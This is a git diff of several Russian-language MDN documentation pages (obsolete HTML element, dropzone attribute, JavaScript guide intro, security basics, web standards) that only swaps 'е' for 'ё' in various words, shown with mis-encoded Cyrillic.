<p>Π”Π°Π½Π½Ρ‹Π΅, доступ ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ, ΠΈΠΌΠ΅ΡŽΡ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒ:</p>
diff --git a/files/ru/orphaned/web/html/element/element/index.html b/files/ru/orphaned/web/html/element/element/index.html
index cdb961e381..cc146093e7 100644
--- a/files/ru/orphaned/web/html/element/element/index.html
+++ b/files/ru/orphaned/web/html/element/element/index.html
@@ -7,7 +7,7 @@ original_slug: Web/HTML/Element/element
<p>{{obsolete_header}}</p>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Π­Ρ‚ΠΎΡ‚ элСмСнт ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ· спСцификации. Π‘ΠΌΠΎΡ‚Ρ€ΠΈ <a href="http://lists.w3.org/Archives/Public/public-webapps/2013JulSep/0287.html">здСсь </a>большС Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΡ‚ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π° спСцификации.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Π­Ρ‚ΠΎΡ‚ элСмСнт ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ· спСцификации. Π‘ΠΌΠΎΡ‚Ρ€ΠΈ <a href="http://lists.w3.org/Archives/Public/public-webapps/2013JulSep/0287.html">здСсь </a>большС Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΡ‚ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π° спСцификации.</p>
</div>
<h2 id="Summary" name="Summary">ΠšΡ€Π°Ρ‚ΠΊΠ°Ρ информация</h2>
@@ -21,7 +21,7 @@ original_slug: Web/HTML/Element/element
<td><a href="/en-US/docs/Web/HTML/Content_categories#Transparent_content">ΠŸΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
<td>???</td>
</tr>
<tr>
@@ -29,7 +29,7 @@ original_slug: Web/HTML/Element/element
<td>{{no_tag_omission}}</td>
</tr>
<tr>
- <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</span></span></th>
+ <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</span></span></th>
<td>???</td>
</tr>
<tr>
diff --git a/files/ru/orphaned/web/html/global_attributes/dropzone/index.html b/files/ru/orphaned/web/html/global_attributes/dropzone/index.html
index 5ea0689fce..dce803241d 100644
--- a/files/ru/orphaned/web/html/global_attributes/dropzone/index.html
+++ b/files/ru/orphaned/web/html/global_attributes/dropzone/index.html
@@ -9,9 +9,9 @@ original_slug: Web/HTML/Global_attributes/dropzone
<p><a href="/en-US/docs/Web/HTML/Global_attributes">Π“Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚</a> <code>dropzone</code> являСтся пСрСчисляСмым Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΌ, ΠΊΠ°ΠΊΠΈΠ΅ Ρ‚ΠΈΠΏΡ‹ содСрТимого ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡƒΡ‰Π΅Π½Ρ‹ Π² элСмСнтС, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{domxref("HTML_Drag_and_Drop_API","HTML Drag and Drop API")}}. ΠœΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ значСния:</p>
<ul>
- <li><code>copy</code>, которая ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ сброс создаСт копию пСрСтаскиваСмого элСмСнта.</li>
- <li><code>move</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ пСрСтаскиваСмы элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ Π² Π½ΠΎΠ²ΠΎΠ΅ мСстополоТСниС.</li>
- <li><code>link</code>, которая создаСт ссылку Π½Π° пСрСтаскиваСмыС Π΄Π°Π½Π½Ρ‹Π΅.</li>
+ <li><code>copy</code>, которая ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ сброс создаёт копию пСрСтаскиваСмого элСмСнта.</li>
+ <li><code>move</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ пСрСтаскиваСмы элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Ρ‘Π½ Π² Π½ΠΎΠ²ΠΎΠ΅ мСстополоТСниС.</li>
+ <li><code>link</code>, которая создаёт ссылку Π½Π° пСрСтаскиваСмыС Π΄Π°Π½Π½Ρ‹Π΅.</li>
</ul>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/orphaned/web/javascript/guide/ΠΎΠ±_этом_руководствС/index.html b/files/ru/orphaned/web/javascript/guide/ΠΎΠ±_этом_руководствС/index.html
index 7a71d93a38..68ff635c0b 100644
--- a/files/ru/orphaned/web/javascript/guide/ΠΎΠ±_этом_руководствС/index.html
+++ b/files/ru/orphaned/web/javascript/guide/ΠΎΠ±_этом_руководствС/index.html
@@ -36,16 +36,16 @@ var s = "";
<p><span id="result_box" lang="ru"><span class="hps">JavaScript</span> <span class="hps">докумСнтация Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя</span> <span class="hps">ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΊΠ½ΠΈΠ³ΠΈ:</span></span></p>
<ul> <li><a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide">JavaScript Guide</a> <span id="result_box" lang="ru"><span class="hps atn">(</span><span>это руководство</span><span>) прСдоставляСт ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ</span> <span class="hps">языкС</span> <span class="hps">JavaScript</span> <span class="hps">ΠΈ Π΅Π³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Ρ….</span></span></li> <li><a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">JavaScript Reference</a> <span class="short_text" id="result_box" lang="ru"><span class="hps">содСрТит справочный ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π» ΠΎ</span> <span class="hps">языкС</span> <span class="hps">JavaScript.</span></span></li>
</ul>
-<p><span id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">Π²Ρ‹ Π½ΠΎΠ²ΠΈΡ‡ΠΎΠΊ Π²</span> <span class="hps">JavaScript</span><span>, Π½Π°Ρ‡Π½ΠΈΡ‚Π΅ с</span></span> <a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide"><span id="result_box" lang="ru"><span class="hps">руководства</span> <span class="hps">JavaScript.</span></span></a> <span id="result_box" lang="ru"><span class="hps">Если Ρƒ вас Π΅ΡΡ‚ΡŒ</span> <span class="hps">Ρ‚Π²Π΅Ρ€Π΄ΠΎΠ΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅</span> <span class="hps">основы</span><span>, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ</span></span> <a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">Π‘ΠΏΡ€Π°Π²ΠΎΡ‡Π½ΠΈΠΊ ΠΏΠΎ JavaScript</a> <span id="result_box" lang="ru"><span>Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ</span> <span class="hps">Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ</span> <span class="hps">Π½Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ…</span> <span class="hps">ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Ρ… ΠΈ ​​опСраторах.</span></span></p>
+<p><span id="result_box" lang="ru"><span class="hps">Если</span> <span class="hps">Π²Ρ‹ Π½ΠΎΠ²ΠΈΡ‡ΠΎΠΊ Π²</span> <span class="hps">JavaScript</span><span>, Π½Π°Ρ‡Π½ΠΈΡ‚Π΅ с</span></span> <a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide"><span id="result_box" lang="ru"><span class="hps">руководства</span> <span class="hps">JavaScript.</span></span></a> <span id="result_box" lang="ru"><span class="hps">Если Ρƒ вас Π΅ΡΡ‚ΡŒ</span> <span class="hps">Ρ‚Π²Ρ‘Ρ€Π΄ΠΎΠ΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅</span> <span class="hps">основы</span><span>, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ</span></span> <a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">Π‘ΠΏΡ€Π°Π²ΠΎΡ‡Π½ΠΈΠΊ ΠΏΠΎ JavaScript</a> <span id="result_box" lang="ru"><span>Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ</span> <span class="hps">Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ</span> <span class="hps">Π½Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ…</span> <span class="hps">ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Ρ… ΠΈ ​​опСраторах.</span></span></p>
<h2 id="Π‘ΠΎΠ²Π΅Ρ‚Ρ‹_для_изучСния_JavaScript"><span class="short_text" id="result_box" lang="ru"><span class="hps">Π‘ΠΎΠ²Π΅Ρ‚Ρ‹</span> <span class="hps">для изучСния</span> <span class="hps">JavaScript</span></span></h2>
<p><span id="result_box" lang="ru"><span class="hps">Начало Ρ€Π°Π±ΠΎΡ‚Ρ‹ с</span> <span class="hps">JavaScript</span> <span class="hps">ΠΎΡ‡Π΅Π½ΡŒ просто:</span> <span class="hps">всС, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ</span> <span class="hps">Π½ΡƒΠΆΠ½ΠΎ, это</span> <span class="hps">соврСмСнный</span> <span class="hps">Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€.</span> <span class="hps">Π­Ρ‚ΠΎ руководство</span> <span class="hps">Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅</span> <span class="hps">Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</span> <span class="hps">JavaScript</span><span>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ</span> <span class="hps">Π² настоящСС врСмя</span> <span class="hps">доступна Π² послСднСй</span> <span class="hps">вСрсии</span> <span class="hps atn">Firefox (</span><span>ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ…</span> Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² с Π΄Π²ΠΈΠΆΠΊΠΎΠΌ Gecko<span class="hps">)</span><span>, поэтому </span></span><span id="result_box" lang="ru"><span class="hps">рСкомСндуСтся</span></span><span id="result_box" lang="ru"><span> использованиС</span> <span class="hps">самых</span> <span class="hps">послСдних вСрсий</span> <span class="hps">Firefox</span><span class="hps">.</span></span></p>
<h3 id="Π˜Π½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΉ_ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€"><span class="short_text" id="result_box" lang="ru"><span>Π˜Π½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΉ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€</span></span></h3>
-<p>Π”ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²Ρ‹ΠΉ JavaScript Π½Π΅Π·Π°ΠΌΠ΅Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ - нСоцСнимая ΠΏΠΎΠΌΠΎΡ‰ΡŒ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΡŽ языка, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ это прСдоставляСт Π²Π°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Ρ‰ΠΈ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅ Π±Π΅Π· нСобходимости ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Ρ„Π°ΠΉΠ» ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ страницу. ΠžΡˆΠΈΠ±ΠΎΡ‡Π½Π°Ρ Консоль Firefox, доступная Ρ‡Π΅Ρ€Π΅Π· мСню Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹, обСспСчиваСт простой ΠΏΡƒΡ‚ΡŒ ΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²Ρ‹ΠΉ JavaScript: Волько вводят линию ΠΊΠΎΠ΄Π° ΠΈ Ρ‰Π΅Π»ΠΊΠ°ΡŽΡ‚ ΠΊΠ½ΠΎΠΏΠΊΡƒ "Evaluate".</p>
+<p>Π”ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²Ρ‹ΠΉ JavaScript Π½Π΅Π·Π°ΠΌΠ΅Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ - нСоцСнимая ΠΏΠΎΠΌΠΎΡ‰ΡŒ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΡŽ языка, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ это прСдоставляСт Π²Π°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Ρ‰ΠΈ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅ Π±Π΅Π· нСобходимости ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Ρ„Π°ΠΉΠ» ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ страницу. ΠžΡˆΠΈΠ±ΠΎΡ‡Π½Π°Ρ Консоль Firefox, доступная Ρ‡Π΅Ρ€Π΅Π· мСню Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹, обСспСчиваСт простой ΠΏΡƒΡ‚ΡŒ ΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²Ρ‹ΠΉ JavaScript: Волько вводят линию ΠΊΠΎΠ΄Π° ΠΈ Ρ‰Ρ‘Π»ΠΊΠ°ΡŽΡ‚ ΠΊΠ½ΠΎΠΏΠΊΡƒ "Evaluate".</p>
<p><img alt="Image:ErrorConsole.png" class="internal" src="/@api/deki/files/192/=ErrorConsole.png"></p>
<h3 id="Firebug">Firebug</h3>
<p>Π‘ΠΎΠ»Π΅Π΅ ΠΏΠ΅Ρ€Π΅Π΄ΠΎΠ²ΠΎΠΉ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²Ρ‹ΠΉ Π½Π΅Π·Π°ΠΌΠ΅Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ - доступный ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΉ <a class="external" href="http://www.getfirebug.com/">Firebug</a>, Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ Firefox. ВыраТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π΅Ρ‚Π΅, ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ <span id="result_box" lang="ru"><span class="hps">ΠΈ</span> <span class="hps">связанныС с</span> <span class="hps">Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ частями</span> <span class="hps">Firebug.</span></span> <span id="result_box" lang="ru"><span class="hps">НапримСр, Π²Ρ‹</span> <span class="hps">ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ</span> <span class="hps">5 плюс</span> <span class="hps">5,</span> <span class="hps">ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ рСгистр</span> <span class="hps">строки</span><span>,</span></span> get a clickable link to the document, or get a link to an element:</p>
<p><img alt="" class="internal" src="/@api/deki/files/5188/=FirebugCommandLine.PNG" style="width: 728px; height: 281px;"></p>
-<p><span id="result_box" lang="ru"><span class="hps">ИспользованиС</span> <span class="hps">стрСлки Π½Π°</span> <span class="hps">ΠΏΡ€Π°Π²ΠΎΠΌ Π½ΠΈΠΆΠ½Π΅ΠΌ ΡƒΠ³Π»Ρƒ</span> <span class="hps">Π΄Π°Π΅Ρ‚</span> <span class="hps">ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ</span> <span class="hps">Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ для</span> <span class="hps">многострочного</span> <span class="hps">сцСнариСв.</span></span></p>
+<p><span id="result_box" lang="ru"><span class="hps">ИспользованиС</span> <span class="hps">стрСлки Π½Π°</span> <span class="hps">ΠΏΡ€Π°Π²ΠΎΠΌ Π½ΠΈΠΆΠ½Π΅ΠΌ ΡƒΠ³Π»Ρƒ</span> <span class="hps">Π΄Π°Ρ‘Ρ‚</span> <span class="hps">ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ</span> <span class="hps">Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ для</span> <span class="hps">многострочного</span> <span class="hps">сцСнариСв.</span></span></p>
<p>Firebug also provides an advanced DOM inspector, a JavaScript debugger, a profiling tool and various other utilities. JavaScript code running in a Web page can call, <code>console.log()</code>, a function that prints its arguments to the Firebug console.</p>
<p>Many of the examples in this guide use <code>alert()</code> to show messages as they execute. If you have Firebug installed you can use <code>console.log()</code> in place of <code>alert()</code> when running these examples.</p>
<h2 id="Document_conventions">Document conventions</h2>
diff --git a/files/ru/orphaned/web/security/information_security_basics/index.html b/files/ru/orphaned/web/security/information_security_basics/index.html
index 53535a9992..96088ba6e6 100644
--- a/files/ru/orphaned/web/security/information_security_basics/index.html
+++ b/files/ru/orphaned/web/security/information_security_basics/index.html
@@ -4,7 +4,7 @@ slug: orphaned/Web/Security/Information_Security_Basics
translation_of: Web/Security/Information_Security_Basics
original_slug: Web/Security/Information_Security_Basics
---
-<p><span class="seoSummary">Π‘Π°Π·ΠΎΠ²ΠΎΠ΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ бСзопасности, ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚Β ΠΎΠ±Π΅Π·ΠΎΠΏΠ°ΡΠΈΡ‚ΡŒ вашС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС и сайты ΠΎΡ‚ уязвимостСй ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΌ доступ ΠΊ финансовым махинациям ΠΈ ΠΏΡ€ΠΎΡ‡ΠΈΠΌ ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΡ€Π°Π²Π½Ρ‹ΠΌ дСйствиям. Из этих статСй Π²Ρ‹ смоТСтС ΡƒΠ·Π½Π°Ρ‚ΡŒ всС Ρ‡Ρ‚ΠΎ для этого Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ.</span>Β Π’ΠΎΠΎΡ€ΡƒΠΆΠΈΠ²ΡˆΠΈΡΡŒ этой ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ, Π²Ρ‹ ΠΏΠΎΠΉΠΌΠ΅Ρ‚Π΅ Ρ€ΠΎΠ»ΡŒ ΠΈ Π²Π°ΠΆΠ½ΠΎΡΡ‚ΡŒ бСзопасности начиная ΠΎΡ‚Β Ρ†ΠΈΠΊΠ»Π°Β Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π²ΠΏΠ»ΠΎΡ‚ΡŒ Π΄ΠΎ размСщСния вашСго ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°.Β </p>
+<p><span class="seoSummary">Π‘Π°Π·ΠΎΠ²ΠΎΠ΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ бСзопасности, ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚Β ΠΎΠ±Π΅Π·ΠΎΠΏΠ°ΡΠΈΡ‚ΡŒ вашС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС и сайты ΠΎΡ‚ уязвимостСй ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΌ доступ ΠΊ финансовым махинациям ΠΈ ΠΏΡ€ΠΎΡ‡ΠΈΠΌ ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΡ€Π°Π²Π½Ρ‹ΠΌ дСйствиям. Из этих статСй Π²Ρ‹ смоТСтС ΡƒΠ·Π½Π°Ρ‚ΡŒ всС Ρ‡Ρ‚ΠΎ для этого Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ.</span>Β Π’ΠΎΠΎΡ€ΡƒΠΆΠΈΠ²ΡˆΠΈΡΡŒ этой ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ, Π²Ρ‹ ΠΏΠΎΠΉΠΌΡ‘Ρ‚Π΅ Ρ€ΠΎΠ»ΡŒ ΠΈ Π²Π°ΠΆΠ½ΠΎΡΡ‚ΡŒ бСзопасности начиная ΠΎΡ‚Β Ρ†ΠΈΠΊΠ»Π°Β Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π²ΠΏΠ»ΠΎΡ‚ΡŒ Π΄ΠΎ размСщСния вашСго ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°.Β </p>
<dl>
<dt><a href="/en-US/docs/Web/Security/Information_Security_Basics/Confidentiality,_Integrity,_and_Availability">ΠšΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, Ρ†Π΅Π»ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ ΠΈ Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ</a></dt>
diff --git a/files/ru/orphaned/Π²Π΅Π±-стандарты/index.html b/files/ru/orphaned/Π²Π΅Π±-стандарты/index.html
index fe2fd3a4f0..befc8b983e 100644
--- a/files/ru/orphaned/Π²Π΅Π±-стандарты/index.html
+++ b/files/ru/orphaned/Π²Π΅Π±-стандарты/index.html
@@ -5,7 +5,7 @@ original_slug: Π’Π΅Π±-стандарты
---
<p style="text-align: justify;">Π’Π΅Π±-стандарты, ΠΊΠ°ΠΊ слСдуСт ΠΈΠ· ΠΈΡ… названия, ΡΠ²Π»ΡΡŽΡ‚ΡΡ стандартами Π² области Π²Π΅Π±-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ. Π­Ρ‚ΠΈ стандарты ΡΠ²Π»ΡΡŽΡ‚ΡΡ рСкомСндациями для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния ΠΈ для Π²Π΅Π±-мастСров. Π‘Π»ΡƒΠΆΠ°Ρ‚ Π²Π΅Π±-стандарты для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹, с ΠΎΠ΄Π½ΠΎΠΉ стороны, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ПО Π±Π΅Π· ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΈ нСудобств ΠΌΠΎΠ³Π»ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΡΠ΅Ρ‚ΡŒΡŽ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚, Π° с Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния ΠΈΠ»ΠΈ Π²Π΅Π±-мастСра Π±Ρ‹Π»ΠΈ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹ Π² работоспособности своих ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΎΠ².</p>
